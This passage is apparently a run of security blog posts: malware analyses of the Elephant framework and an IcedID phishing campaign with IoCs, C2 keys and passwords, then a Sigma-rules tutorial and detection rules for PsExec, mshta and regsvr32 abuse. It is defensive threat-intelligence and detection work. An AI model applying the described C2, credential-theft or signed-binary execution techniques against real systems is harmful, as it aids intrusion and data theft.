The downloader has some 3rd party libraries, whose metadata are listed in the binary, that are not used. All the 3rd party libraries are listed in the code snippet below. In the list for example port-scanner, gopacket, and gateway packages are not being used. These are all libraries to facilitate lateral movement. It is not clear if these are left-overs from an older version of the malware or hints of future functionality.

github.com/anvie/port-scanner v0.0.0-20180225151059-8159197d3770
github.com/dustin/go-humanize v1.0.0
github.com/fatih/color v1.10.0
github.com/google/gopacket v1.1.19
github.com/google/gopacket/layers v1.1.19
github.com/google/gopacket/pcap v1.1.19
github.com/jackpal/gateway v1.0.7
github.com/jcmturner/aescts v2.0.0+incompatible
github.com/mattn/go-colorable v0.1.8
github.com/mattn/go-isatty v0.0.12
github.com/minio/minio/pkg/disk v0.0.0-20210213070509-a94a9c37faf5
github.com/mitchellh/go-ps v1.0.0
github.com/redcode-labs/ColdFire v0.0.0-20210118141151-d4d62410b029
github.com/savaki/jq v0.0.0-20161209013833-0e6baecebbf8
github.com/savaki/jq/scanner v0.0.0-20161209013833-0e6baecebbf8
golang.org/x/sys/windows v0.0.0-20210119212857-b64e53b001e4
golang.org/x/sys/windows/registry v0.0.0-20210119212857-b64e53b001e4

Analysis of the Elephant downloader (https://analyze.intezer.com/files/8ffe7f2eeb0cbfbe158b77bbff3e0055d2ef7138f481b4fac8ade6bfb9b2b0a1)

Implant Component (GrimPlant)

GrimPlant is a backdoor that allows the operator to execute arbitrary PowerShell scripts on the infected machine. The backdoor has a relatively small set of functionality, for example it doesn’t have any persistence functionality on its own. When the malware first is executed, it allocates 200 mb and sleeps for 10 seconds, the function shown in the screenshot below. This is an anti-emulation technique that has been found in other malware written in Go.

The Command and Control (C2) address is not included in the binary. Instead it is passed in to the malware via the command line flag -addr. The address is not provided as a plain string. Instead it has been encrypted with AES in Cipher-Block Chaining (CBC) mode. The malware decrypts the string with the embedded key (f1d21960d8eb2fddf2538d29a5fd50b5f64a3f9bf06f2a3c4c950438c9a7f78e) and a null IV. The port used by the C2 server is hardcoded to port 80.

GrimPlant communicates with the C2 server over gRPC. The communication is encrypted with TLS. The malware has an embedded root certificate that it uses to verify that it talks to a trusted server. The code snippet shows parts of the root certificate information. The certificate used by the C2 server has been signed by this root certificate which allows the threat actor to rotate the certificate without redeploying a new malware.

Version: 3 (0x2)
Serial Number:
6d:56:93:aa:f3:9d:b1:f7:15:4e:39:64:77:9c:7e:d0:d4:cf:f6:3e
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = FR, ST = Occitanie, L = Toulouse, O = O, OU = E, CN = *.a.com, emailAddress = a@mail.com
Validity
Not Before: Mar 20 15:21:06 2022 GMT
Not After : Mar 20 15:21:06 2023 GMT
Subject: C = FR, ST = Occitanie, L = Toulouse, O = O, OU = E, CN = *.a.com, emailAddress = a@mail.com
SHA1 Fingerprint=DC:A9:5B:DC:F0:53:55:73:7A:A6:79:85:43:F6:3E:7C:23:07:36:33

There are only a handful of gRPC “methods” supported by the malware. A reconstructed protobuf specification is shown in the code snippet below. To identify which instance of the malware is sending the request to the C2 server, the malware uses its machine ID as an unique identifier in the messages. When the malware first connects to the C2 server, it authenticates itself with the password sdrunlygvhwbcaeiuklgunvre.

After a successful authentication, it sends a heartbeat message every 10 seconds. This message includes information about the infected machine: public IP address, hostname, username, etc. In addition to the heartbeat message, the malware starts the “command” loop that checks for new commands to execute every 3 seconds. If a command is received it executes it by spawning a PowerShell instance by executing %windir%\SysWOW64\Windows\PowerShell\v1.0\powershell.exe and returns the result to the C2 server.

service Implant {
rpc FetchCommand(FetchCmdRequest) returns FetchCmdResponse {}
rpc Heartbeat(stream HeartbeatRequest) returns (stream Empty) {}
rpc Login(ImplantLoginRequest) returns ImplantLoginResponse {}
rpc SendCmdOutput(SendCmdRequest) returns SendCmdResponse {}
}
message FetchCmdRequest {
string id = 1;
}
message FetchCmdResponse {
string adminId = 1;
bytes cmdText = 2;
}
message HeartbeatRequest {
string id = 1;
bytes sysInfo = 2;
}
message ImplantLoginRequest {
string id = 1;
bytes sysInfo = 2;
string password = 3;
}
message ImplantLoginResponse {
string token = 1;
}
message SendCmdRequest {
string adminId = 1;
bytes output = 2;
bytes error = 3;
}
message SendCmdResponse {}
message Empty {}

Client Component (GraphSteel)

The “client” component is a credential and file stealer. It communicates with the C2 server over WebSockets to a GraphQL endpoint. All the messages are encrypted with AES. The key is received from the C2 server. The malware author has written their own RSA implementation for the key exchange that is used to receive the shared secret. All messages prior to the key exchange, including the key exchange itself, are encrypted with AES using a hardcoded key.

The credentials on the machine are stolen using code lifted from goLazagne. In addition to stealing credentials, the malware will look in the user’s Documents, Downloads, Pictures, and Desktop folder for files with the file-extensions listed in the snippet below.

.key, .crt, .json, .csv, .7z, .rar, .zip, .ssh, .ovpn, .pptx, .xlsx, .docx, .ppt, .xls,
.doc, .txt

If it finds a file with a matching file extension, it generates the MD5 hash for the file and checks with the C2 server if the file has already been uploaded. If it hasn’t, the file is uploaded to the C2 server.

Infrastructure

Using the embedded CA certificate in the malware, we uncovered older service certificates and IP addresses. The oldest certificate we discovered had a validity date of “not before” December 9th, 2021. The IP address of the server where this certificate was served from is owned by the Russian hosting provider Zservers and still returned Elephant components as of April 2022. The components retrieved from the server are very similar to the samples used at the end of March. The other hosting providers used by the threat actor are PQ Hosting and Serverion.

The threat actor has chosen to sprinkle some French connections within their infrastructure. The certificates use French location information and the domain name forkscenter[.]fr. We don’t know if the decision to name it Elephant is a nod to Babar, an espionage software attributed to a French intelligence agency, or intended as a “false flag.”

Conclusion

UAC-0056 (TA471, SaintBear, UNC2589) started using a new malware framework called Elephant back in December 2021. The malware has been delivered in targeted spear phishing campaigns using spoofed Ukrainian governmental email addresses. The malware consists of at least four different components that are used for stealing credentials, documents, and to provide remote access to the infected machine. The threat actor has opted to use multiple protocols for C2 communication, gRPC and GraphQL over websockets. This is an interesting choice as it complicates the development of the framework with more code to maintain.

Indicators of Compromise

194.31.98.124 - C2 address used by the malware
87.249.139.161 - IP address that was used for sending the emails
IP addresses used in previous campaigns.
91.242.229.35
45.84.0.116
80.66.76.187
Original Email 3c2022fea48b52326f9eec4c1c84f10b
xls da305627acf63792acb02afaf83d94d1
Base-update.exe 06124da5b4d6ef31dbfd7a6094fc52a6
Java-sdk 36ff9ec87c458d6d76b2afbd5120dfae
oracle-java 4a5de4784a6005aa8a19fb0889f1947a
Microsoft-cortana 6b413beb61e46241481f556bb5cdb69c
Samples from oldest server found
8e0eb1742b47745ff73389673996e964
cbc0e802b7134e1d02df1f2eb1b1d1e2
628f41776ae3b2e8343eeb9cdcd019f2
More Emails linked to the same sender IP
C7051e88ae43c1bd4b869cf18280ec5e
40b42005e9cfc5ea2a7cfc1ced975cbb
Fbe3cb4dfce740c3728c459b853e4249 (email submitted and target Romania)
Paths
%HOME%AppDataLocalTempBase-Update.exe
%HOME%.java-sdk

New Conversation Hijacking Campaign Delivering IcedID

Mon, 28 Mar 2022 00:00:00 +0000

This post describes the technical analysis of a new campaign detected by Intezer’s research team, which initiates attacks with a phishing email that uses conversation hijacking to deliver IcedID.

The underground economy is constantly evolving with threat actors specializing in specific fields. One field that has bloomed in the last few years is initial access brokers. Initial access brokers specialize in gaining an initial beachhead access to organizations and once achieved, sell the access to other threat actors that monetize it further.

Some of the customers to initial access brokers buy the access to deploy ransomware. Proofpoint has identified ten access brokers that sell access to ransomware groups. These access brokers largely infect their victims with banking trojans that are later used to deploy another malware at the “purchaser’s request.”

One of these banking trojans that have been used to deploy ransomware is IcedID (BokBot). IcedID was first reported on by IBM X-Force in November 2017 and the malware shared some code with Pony. While initially designed to steal banking credentials, like many other banking trojans, the malware has been repurposed for deploying other malware on the infected machines.

One way IcedID infects machines is via phishing emails. The infection chain that commonly has been used is an email with an attached password protected zip archive. Inside the archive is a macro enabled office document that executes the IcedID installer. Some phishing emails reuse previously stolen emails to make the lure more convincing.

In the new IcedID campaign we have discovered a further evolution of the threat actors’ technique. The threat actor now uses compromised Microsoft Exchange servers to send the phishing emails from the account that they stole from. The payload has also moved away from using office documents to the use of ISO files with a Windows LNK file and a DLL file. The use of ISO files allows the threat actor to bypass the Mark-of-the-Web controls, resulting in execution of the malware without warning to the user. With regards to targeting, we have seen organizations within energy, healthcare, law, and pharmaceutical sectors.

Infection Chain

The attack-chain starts with a phishing email. The email includes a message about some important document and has a password protected zip archive file attached. The password to the archive is given in the email body, as can be seen in the screenshot below. What makes the phishing email more convincing is that it’s using conversation hijacking (thread hijacking). A forged reply to a previous stolen email is being used. Additionally, the email has also been sent from the email account from whom the email was stolen from.

The content of the zip archive is shown in the screenshot below. It includes a single ISO file with the same filename as the zip archive. It can also be seen that the file was created not that long before the email was sent.

The ISO file includes two files, a LNK file named document and a DLL file named main. From the timestamps it can be concluded that the DLL file was prepared the day before while the LNK file was prepared about a week before. It is possible that the LNK file has been used in earlier phishing emails.

The LNK file has been made to look like a document file via its embedded icon file. As can be seen in the screenshot below, when a user double clicks the link file, it uses regsvr32 to execute the DLL file.

The use of regsvr32 allows for proxy execution of malicious code in main.dll for defense evasion. The DLL file is a loader for the IcedID payload. It contains a number of exports, most of which consist of junk code.

The loader will locate the encrypted payload, stored in the resource section of the binary. It does this through the technique API hashing. A decompilation of the simple hashing function is shown below.

The resulting hash is then compared with a hardcoded hash, locating the call for FindResourceA. The function is dynamically called to fetch the payload.

Memory is allocated using VirtualAlloc to hold the decrypted payload.

The IcedID “Gziploader” payload is decoded and placed in memory and then executed. GZiploader fingerprints the machine and sends a beacon to the command and control server with information about the infected host. The information is smuggled through the cookies header via an HTTP GET request.

The C2 is located at yourgroceries[.]top. The C2 can respond with a further stage to be dropped and executed. The C2 did not respond with a payload during our analysis.

Conversation Hijacking as a Phishing Technique

The technique of hijacking an already existing conversation over email to spread malware is something threat actors have been using for a while. Normally email messages are stolen during an infection and used in future attacks to make the phishing email appear more legitimate. In the last six months, threat actors have evolved the technique further to make it even more convincing. Instead of sending the stolen conversation to the victim with a “spoofed” email address, threat actors are now using the email address of the victim that they stole the original email from to make the phishing email even more convincing.

Kevin Beaumont reported on this conversation hijacking technique back in November 2021 being used to distribute Qakbot. Through the investigation, he confirmed that the Microsoft Exchange servers where the emails originated from had evidence of being exploited by ProxyShell.

New Campaign Discovered in March 2022

In the current mid-March campaign, we have discovered reuse of the same stolen conversation now being sent from the email address that received the latest email. Back in January when this conversation was also used, the FROM address was webmaster@[REDACTED].com with the name of the recipient of the last email in the conversation. By using this approach, the email appears more legitimate and is transported through the normal channels which can also include security products.

The majority of the originating Exchange servers we have observed appear to also be unpatched and publicly exposed, making the ProxyShell vector a good theory. While the majority of the Exchange servers used to send the phishing emails can be accessed by anyone over the Internet, we have also seen a phishing email sent internally on what appears to be an “internal” Exchange server.

The code snippet below shows a small part of the email header. The IP address of the Exchange server is a local IP address (172.29.0.12) with a top-level domain name of local. We can also see a header added by Exchange marking it as an internal email. The exchange server also has added a header of the original client (172.29.5.131 which also is a local IP address) that connected to the Exchange server over MAPI.

Received: from ExchSrv01.[REDACTED].local (172.29.0.12) by
ExchSrv01.[REDACTED].local (172.29.0.12) with Microsoft SMTP Server
(version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.464.5
via Mailbox Transport; Thu, 10 Mar 2022 14:34:29 +0100
Received: from ExchSrv01.[REDACTED].local (172.29.0.12) by
ExchSrv01.[REDACTED].local (172.29.0.12) with Microsoft SMTP Server
(version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.464.5;
Thu, 10 Mar 2022 14:34:29 +0100
Received: from ExchSrv01.[REDACTED].local ([fe80::b148:8e7:61f8:61b4]) by
ExchSrv01.[REDACTED].local ([fe80::b148:8e7:61f8:61b4%6]) with mapi id
15.02.0464.005; Thu, 10 Mar 2022 14:34:29 +0100
…
X-MS-Exchange-Organization-AuthAs: Internal
X-MS-Exchange-Organization-AuthMechanism: 04
X-MS-Exchange-Organization-AuthSource: ExchSrv01.[REDACTED].local
X-MS-Has-Attach: yes
X-MS-Exchange-Organization-SCL: -1
X-MS-Exchange-Organization-RecordReviewCfmType: 0
x-ms-exchange-organization-originalclientipaddress: 172.29.5.131
x-ms-exchange-organization-originalserveripaddress: fe80::b148:8e7:61f8:61b4%6

We didn’t manage to find a corresponding public IP address for this Exchange server and it is not known to us how it was accessed by the threat actor. The only thing we managed to find was a roundcube webmail instance. The login page is shown in the screenshot below.

One of the headers in the snippet above reported that the client connected to the server via MAPI. MAPI is a protocol used (for example, by Outlook) to access the mailbox on an Exchange server. This suggests that the threat actor used an Exchange client instead of using SMTP to send the email. We have also seen the header X-Mailer: Microsoft Outlook 16.0 in multiple phishing emails. In other phishing emails a X-Originating-IP header can be found. This is a header added by the Exchange server when the web interface is used. The IP address in the header is that of the client that connected to the server. We have observed both hosting providers and non-commercial IP addresses for the client IP.

Attribution

In June 2021, Proofpoint released a report on different access brokers that facilitates access for ransomware groups. Of the different threat actors, according to Proofpoint, two of them (TA577 and TA551) used IcedID as their malware. The techniques used by TA551 include conversation hijacking and password protected zip files. The group is also known to use regsvr32.exe for signed binary proxy execution for malicious DLLs.

Summary

The use of conversation hijacking is a powerful social engineering technique that can increase the rate of a successful phishing attempt. The payload has been moved away from office documents to the use of ISO files, employing the use of commodity packers and multiple stages to hide activity. It is important to be able to detect malicious files in memory to detect this type of attack. We recommend you use an endpoint scanner.

IoCs

ISO File:
3542d5179100a7644e0a747139d775dbc8d914245292209bc9038ad2413b3213
Loader DLL:
698a0348c4bb8fffc806a1f915592b20193229568647807e88a39d2ab81cb4c2
LNK File:
a17e32b43f96c8db69c979865a8732f3784c7c42714197091866473bcfac8250
IcedID GZiploader Network:
yourgroceries[.]top

SOC Level Up: Introduction to Sigma Rules

Tue, 22 Mar 2022 00:00:00 +0000

Sigma rules are catching on more and more for SOC teams, as a way to write one rule that can be used across multiple environments. By learning how Sigma rules work and how to create them, you can take your SOC skills to the next level.

Detecting security breaches inside an infrastructure is heavily based on analyzing and monitoring events using logs. There are different types of logs, aggregation systems, strategies and technologies that help SOC analysts in their day to day job. While it’s excellent that there are a wide range of tools SOC teams and organizations can implement in their security posture, it also complicates the process of sharing information and knowledge within the organization and the community – each SIEM has its own query syntax (or language) and each log has it’s own unique fields.

Often analysts create rules to detect active threats or attacks and organizations would want to use them to alert upon a possible breach. For example, we might have an excellent rule to detect the creation of a specific malicious process and we want to share the rule with the community, partners, or clients. Having said that, sharing detection rules for behavior is complicated because each organization has its own way to digest logs, infrastructure and tools, so it might be more challenging for them to understand the rules and to integrate them into existing infrastructures.

The solution is using Sigma rules. These rules are written in a well-defined format using a markup language. Sigma is used for generating queries for specific SIEMs and configurations. Using Sigma for writing detection rules makes it easier to share and integrate them in the organization, regardless of specific tools and logs that are used.

In this blog we will introduce you to Sigma rules: What are Sigma rules? What is the syntax of Sigma rules and what makes them a powerful tool that should be used in your organization. We will present examples of how to write rules based on analysis or real threats and explain the subtleties of writing these rules. Once you get familiar with the format you will be able to understand the rules and write them by yourself.

This blog is the first part of a blog series in which we are going to present key technologies and concepts that can be useful for SOC analysts who wish to improve their skills and knowledge to do a better job in their current position or to switch positions. In this series, we will introduce topics such as threat intelligence.

What Are Sigma Rules?

Sigma is an open-source framework that provides the ability to write rules to analyze logs – similar to YARA for files or Snort for network analysis. Sigma rules are written using a predefined syntax in YAML format, and then they are converted (using sigmac or online converter) to a format that fits the target SIEM or platform used in the organization. There are many supported targets such as: Splunk, Elasticsearch, Microsoft Defender, and many more. Sigma can be used with different log sources.

The agility of Sigma rules and the fact that one rule can be used in environments that use different configurations, makes it easier for analysts to write these rules and share them with colleagues and the community.

Sigma rules are a powerful tool that makes it easy to analyze different types of logs and find specific action or threat. It can be used in two ways:

Identify and alert on suspicious activity

Sigma rules can be integrated into SIEM platforms and detect different events as they happen thus helping to detect and stop them before any further damage. For example we can create †rules to detect: unauthorized actions, web/resource access, file modification, process creation and much more.

Threat Hunting

Sigma rules can be used to hunt for threats:

Use the rules to detect when a certain attack or threat targets your organization.
Check if your organization was breached by applying Sigma rules to old logs (assuming your organization aggregates logs for at least a few months). Often it takes an organization several months before they discover that an attacker is already in the system. By analyzing the logs for suspicious activity you increase the chances of discovering a security breach and starting an incident response process sooner.

Sigma Rules Syntax

Source: Sigma repo

The structure of Sigma rules is made of optional and mandatory parts as can be seen in the picture above.

Metadata

These fields provide information about the rule and add informative comments and notes. While it’s not mandatory, it is especially important to add this information if you plan to share the rule with other people. There are a number of fields that can be used here:

Title of the rule
Author (optional)
Date (optional)
Unique ID (optional)
License (optional) – it is recommended to add this field if you plan to share the rule. By default the distribution is very strict, you can choose to change it using SPDX standard.
Tag (optional) – For example, associate the rule with a technique from the MITRE ATT&CK framework.
Status (optional) – possible values can be experimental or test, to indicate that the rule might need further tuning and testing.

Log Source

The log source section describes which logs should be searched and analyzed. There are several optional fields that specify which type of logs are relevant for the Sigma rule. While these fields are optional a rule should include at least one of them as it provides vital information relevant to the detection and will help the user of the rule integrate the rule in his infrastructure.

Category: specify the logs from a group of products. For example: firewall, process_creation, file_event.
Product: a specific software or service. For example: Windows, Apache, Zeek.
Service: select subset from the product.
Definition: a place for comments and additional information regarding the log.

Detection

In this section, we define what we are looking for in the logs. This section will contain one or more blocks usually called selection or filter but it can have any other name. Each block will contain the relevant fields and information that are needed for the detection of a specific event. When looking for a match we can look for a specific string, event id, or a combination of them, using the following fields and properties. Let’s look at the example below:

A rule to detect mshta execution where the process’s parent image ends with svchost.exe and the image of the process ends with mshta.exe:

logsource:
 category: process_creation
 product: windows
detection:
 selection:
 ParentImage|endswith:
 - 'svchost.exe'
 - 'cmd.exe'
 - 'powershell.exe'
 Image|endswith:
 - 'mshta.exe'
 condition: selection

Based on what we learned from the previous section we know that this rule can be used to scan logs of process creation on Windows OS.

Next, there is a block called selection which is a map (or directory) that contains pairs of keys and values. In the example above there are two keys: ParentImage and Image. The elements of the map are linked with logical AND meaning we are looking for a match for both the image of the process and its parent’s image.

For the parent image the strings are in a list format – they are linked with OR and we need at least 1 match in the end (because of endswith) of the path :svchost.exe, cmd.exe or powershell.exe. In SIGMA a string is:

Case insensitive.
Can contain regular expressions (regex) – in this case it will be case sensitive.
Wildcards can be used (* and ? ) in the detection. If needed these characters can be escaped using the backslash.

Note that the value uses a modifier: endswith – it specifies where the string should be found; there are many other modifiers that can be used. In the examples, the image of the process needs to end with mshta.exe.

Lastly, the condition specifies which conditions have to be fulfilled in order to identify an event and trigger an alert if needed. When a rule has several sections they can be linked with different logical operations such as AND, OR, NOT and more. We can use the condition to create more detailed rules, filter out certain matches and tune the rule to avoid false positives. In our example the detection will happen when a log would contain the specified image paths.

Compiling Sigma Rules

After we write the rule we need to save the file and use sigmac (available in the repo) to compile the rule. The command will look like this:

./sigmac -t <target> -c <path to configuration file> <path to the rule>

To compile a rule you must specify the target SIEM, provide a configuration file and the path to the rule. Each argument is very significant for a successful compilation of the rule and the integration of the rule in SIEM systems. We will explain each argument in the command.

Target

Target is the SIEM or the system that will analyze the logs: it can be splunk, stix, sysmon, etc. Each system has its own syntax so the output will differ.

We will continue using our example for detecting mshta from the previous section, let’s compile it for splunk:

./sigmac -t splunk -c config/generic/windows-services.yml
sigma_rules/detect_mshta.yml
((ParentImage="*\svchost.exe" OR ParentImage="*cmd.exe" OR
ParentImage="*powershell.exe") (Image="*\mshta.exe"))

And now for sqlite:

./sigmac -t sqlite -c config/generic/windows-services.yml
sigma_rules/detect_mshta.yml
SELECT * FROM eventlog WHERE ((ParentImage LIKE '%\svchost.exe' ESCAPE ''
OR ParentImage LIKE '%cmd.exe' ESCAPE '' OR ParentImage LIKE
'%powershell.exe' ESCAPE '') AND (Image LIKE '%\mshta.exe' ESCAPE ''))

We wrote one rule that can be easily integrated into two entirely different environments and that’s the power of Sigma rules. You can run sigmac –list to view the full list of supported targets.

Configuration File

Each environment and organization can use different log sources or index the logs differently. To make Sigma rules relevant and usable in environments regardless of the logs they use, Sigma relies on configuration files. A configuration file contains the mapping of the logs and the fields that are being used in the environment to the fields used in the rules. We can think of it as a translation between the rule and our environment.

Valid log source definition must contain at least one category, service or product specification that exactly corresponds to the same fields in the rule’s logsource section.

Sigma Git repository contains many configuration files for the different log sources and SIEM systems. Note that in order to use the configuration file in your environment you might need to modify it a bit and adjust the mapping, but for a simple testing environment they should be good enough.

For example this is the output of our example rule when using windows-services logs for splunk:

./sigmac -t splunk -c config/generic/windows-services.yml
sigma_rules/detect_mshta.yml
((ParentImage="*\svchost.exe" OR ParentImage="*cmd.exe" OR
ParentImage="*powershell.exe") (Image="*\mshta.exe"))

Sysmon is a service that is part of sysinternals, it monitors and logs a wide range of events and activities, the output can be viewed in the Windows event log viewer. This is the output of the example rule for sysmon for splunk:

./sigmac -t splunk -c config/generic/sysmon.yml
sigma_rules/detect_mshta.yml
(EventID="1" (ParentImage="*\svchost.exe" OR ParentImage="*cmd.exe" OR
ParentImage="*powershell.exe") (Image="*\mshta.exe"))

Let’s check the configuration for Sysmon. Below is a snippet of the configuration:

logsources:
 process_creation:
 category: process_creation
 product: windows
 conditions:
 EventID: 1
 rewrite:
 product: windows
 service: sysmon
 process_creation_linux:
 category: process_creation
 product: linux
 conditions:
 EventID: 1
 rewrite:
 product: linux
 service: sysmon

The configuration file specifies the fields that will be used in a Sigma rule and how they will be defined or where they are located in logs that are generated by sysmon. The way the fields are defined in the rule must fully match the to the values set in the configuration file.

The configuration above tells sigmac that for rules that contain logsource with category process_creation and product windows replace these fields with product windows and service sysmon. Depending on the OS targeted by the rule, the compiled output will define the product type. EventID: 1 is added with a logical AND to the query outputted by sigmac, meaning only events with this event ID are applicable to this rule. This way rules that didn’t use sysmon as a log source could be integrated into infrastructure that uses sysmon in their logging and use this rule.

You might ask yourself why we didn’t write the rule with Sysmon as a logsource from the beginning – and the answer is that we could have done that! There might be more than one way to write a Sigma rule. We can make the rule target sysmon logs, so if the users of the rule use sysmon in their environment they will need minimal effort on their part to integrate it.

Our mshta rule for sysmon:

logsource:
product: windows
service: sysmon
detection:
selection:
 EventID: 1
 ParentImage|endswith:
 - 'svchost.exe'
 - 'cmd.exe'
 - 'powershell.exe'
 Image|endswith:
 - 'mshta.exe'
condition: selection

The original example of our mshta rule uses a more “general” approach: we didn’t specify which logsource to use and the user can convert the rule to fit his environment by mapping the fields in his configuration file. In the first example it is up to the user to tune the rule and adjust the rule or the configuration file while in the last option, we specifically mention which log source and fields the rules use. Both rules will achieve the same result.

Conclusion

In this blog we presented Sigma rules – a well-defined and formatted structure for writing detection rules, that can be used in all types of operating systems and environments. Sigma allows you to share information but also consume it, making it easier to integrate new detection rules and protect your environment.

Boost Your SOC Skills: How to Detect Good Apps Gone Bad

Tue, 01 Mar 2022 00:00:00 +0000

Threat actors have a wide range of tools and techniques they can use in cyber attacks including: malware-as-a-service, open-source tools and malware code, red team or admin tools. Besides, there is an extended variety of legitimate tools and features that can be handy for regular users but extremely dangerous when used by attackers. Trusted applications and signed binaries are beneficial for attackers because they provide them with stealthy code execution, sometimes even with high integrity privileges. For an untrained eye the execution of trusted applications by attackers might go under the radar and not ring the alarm.

It is very challenging to detect the usage of legitimate applications by attackers while avoiding false positive alerts and alert fatigue. Since these applications are frequently used by the system and endpoint users, it is harder to detect when an application is exploited by attackers and issue an alert.

Don’t give up, there is a solution. First, as a SOC analyst you need to be familiar with how trusted tools are used by attackers. Second, you need to know which detection methods will be effective in your environment and trigger alerts when attackers are using legitimate tools.

In this blog we will present several examples of legitimate Windows applications and utilities that were exploited by threat actors in real-life attacks. For each tool we will explain how SOC analysts can detect and identify the usage of these applications by attackers. For each tool we mention, we suggest or create a basic detection rule that can be compiled to fit your log source and SIEM platform. Please note that you may need to slightly modify the rule to better suit your specific log source or SIEM fields in order to use for your organization.

On March 16th, we will host a livestream where we will present these and other techniques including live examples. Follow us on Twitch to get notified when the livestream starts.

Legitimate Tools Used in Attacks by Threat Actors

Technique Name: PsExec

Analysis

PsExec is a command-line utility that is used to execute processes on remote systems and also redirect the output of console applications. It is part of the Sysinternals' PsTools suite created by Mark Russinovich. Although intended as a tool to be used only by administrators. PsExec has been used also by malicious actors. PsExec executes processes in the following syntax.

psexec \RemotePCName [-u username[-p password]] command [arguments]

The process connects to the remote computer over the SMB ports 445 (TCP) or 139 (UDP), and copies over a service file that is run to set up data transfer between the remote machine and the PsExec process. When the action is completed, PsExec stops the service and removes the file.

Real Life Example

NotPetya was a famous ransomware attack that occurred in 2017. It infected thousands of organizations, with over 80% of the victims located in Ukraine, causing billions of dollars worth of damage. NotPetya contained an embedded modified version of PsExec. PsExec was used for remote execution and lateral movement across networks. The credentials were gathered by a credential theft module that was able to extract usernames and passwords from the LSASS process.

The Russian threat group APT29 (Cozy Bear) has also used PsExec to laterally move across networks and deploy their custom backdoor FatDuke.

How to Detect

One way to detect PsExec is to detect the creation of a new service. A new service created in Windows will generate an event in the Windows Security logs with the code of 7045. The default name for the PsExec service is PSEXESVC. We created a Sigma rule that will alert when an Event ID 7045 will be triggered by a service with the name PSEXESVC.

title: Generic PSEXESVC Service Execution or Creation
author: Intezer
logsource:
product: windows
service: system
detection:
service_installation:
EventID: 7045
Provider_Name: 'Service Control Manager'
ServiceName: 'PSEXESVC'
ServiceFileName|endswith: 'PSEXESVC.exe'
service_execution:
EventID: 7036
Provider_Name: 'Service Control Manager'
param1: 'PSEXESVC'
param2: 'running'
condition: service_installation or service_execution

Another way to detect is the creation of named pipes, created by the service, that is set up to facilitate communication between the PsExec process and the service on the remote host. There are multiple formats that can be created:

PSEXESVC-<computer_name>-<random_digits>-<stdin|stdout|stderr>
PSEXESVC

Creation of a PsExec named pipe can be detected through the following Sigma rule:

title: PsExec Service Named Pipe Creation
author: Intezer
logsource:
product: windows
category: pipe_created
detection:
selection_PSEXESVC:
PipeName|contains|all:
- 'PSEXESVC'
selection_stdin:
PipeName|endswith: '-stdin'
selection_stdout:
PipeName|endswith: '-stdout'
selection_stderr:
PipeName|endswith: '-stderr'
condition: selection_PSEXESVC and 1 of selection_std*

The above rules may help if PsExec is not a tool in use by your organization, but if it is in common use, there are other rules that may help detect malicious variants. To detect the use of a renamed or variant of PsExec, you can use this Sigma rule:

https://github.com/SigmaHQ/sigma/blob/eb382c4a59b6d87e186ee269805fe2db2acf250e/rules/windows/builtin/security/win_susp_psexec.yml

Technique Name: MSHTA

Analysis

mshta.exe is a Windows-native binary that executes VBScript or JavaScript embedded within Microsoft HTML Application (HTA) files. Using a legitimate and signed binary as mshta gives attackers the means to execute arbitrary code stored on a remote server while bypassing browser security settings. When mashta is leveraged by attackers it is invoked through files such as lnk files and the malicious payload is executed using inline command line arguments or files that are stored on a remote server.

Real Life Example

Operation Cobalt Kitty (APT 32) used mshta to execute Cobalt Strike beacons for the reconnaissancereconsense stage and download further payloads.

Agen Tesla uses decoy documents containing VBA macro that calls mshta to download the first stage of the attack. Afterwards the malware creates a scheduled task to download and execute a new version of the malware using mshta.

BabyShark malware, associated with North Korean threat actors, in the first stage of the attack they used a decoy document with VBA macro code that used mshta to download from a remote server HTA file that will execute the first stage of the attack. Later they used mshta in the persistence logic to execute further commands from the command and control server (C2).

How to detect

When mshta is used by threat actors it can be invoked by different legitimate applications. For example phishing documents will execute mshta directly or using other processes such as powershell or cmd.

Screenshot of process hacker when mshta is executed by a malicious Microsoft Word document.

To identify the usage of mshta by threat actors we need to monitor and alert upon execution of mshta by suspicious processes and execution of suspicious processes by mshta (such as wscript). You can use the Sigma rule below to detect this type of execution:

title: Suspicious process execution for mshta
author: Intezer
logsource:
category: process_creation
product: windows
detection:
selection1:
Image: '*mshta.exe'
ParentImage|endswith:
- 'winword.exe'
- 'excel.exe'
- 'powerpnt.exe'
- 'cmd.exe'
- 'powershell.exe'
- 'wscript.exe'
- 'cscript.exe'
- 'sh.exe'
- 'bash.exe'
- 'reg.exe'
- 'regsvr32.exe'
- 'BITSADMIN*'
selection2:
ParentImage: '*mshta.exe'
Image:
- '*cmd.exe'
- '*powershell.exe'
- '*wscript.exe'
- '*cscript.exe'
- '*sh.exe'
- '*bash.exe'
- '*reg.exe'
- '*regsvr32.exe'
- '*BITSADMIN*'
condition: selection1 or selection2
fields:
- CommandLine
- ParentCommandLine

Attackers masquerade the usage of mshta by renaming the binary to something less obvious and suspicious, so you should monitor events of changes in the path or the name of system utilities. In our signature we are using the process image name.

Usually mshtaat execution contains command line arguments and url pointing to remote hosting servers in the signature. Below we look for these suspicious arguments:

title: mshta execution with command line arguments
author: Intezer
logsource:
category: process_creation
product: windows
detection:
selection:
Image: '*mshta.exe'
CommandLine|contains:
- 'javascript'
- '*.hta'
- 'vbscript'
- 'http'
- 'https'
condition: selection

Technique name: Squiblydoo

MITRE: https://attack.mitre.org/techniques/T1218/010/

Analysis

Regsvr32 is a command-line utility to manage the registration of DLLs and ActiveX controls in the Registry. Squiblydoo is a technique that was discovered by Casey Smith, it allows the usage of Regsvr32 to load and execute COM scriptlet (JScript or VBScript embedded in XML file) from a remote server.

This method is very stealthy. It doesn’t make any changes to the Registry and it bypasses application control and allow-lists as the code is executed under user permissions by Regsvr32.

Real Life Example

Leviathan is an espionage group that uses Squiblydoo to execute malicious Dlls.

APT19 uses Squiblydoo to bypass whitelisting and execute arbitrary code on the victim’s machine.

How to detect

Regsvr32 has several command line arguments, there is a suspicious combination of arguments that can be a good indication that the binary is invoked by attackers:

/s will silently execute the command without printing messages
/i passes a command line string to DllInstall

In addition, this method uses scrobj.dll to execute COM scriptlet. To detect these suspicious process execution we made the Sigma rule below that alerts upon suspicious parent processes.

title: detect Squiblydoo
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: 'regsvr32.exe'
CommandLine|contains|all:
- '/i:'
- '/s'
CommandLine|contains:
- 'http'
- 'https'
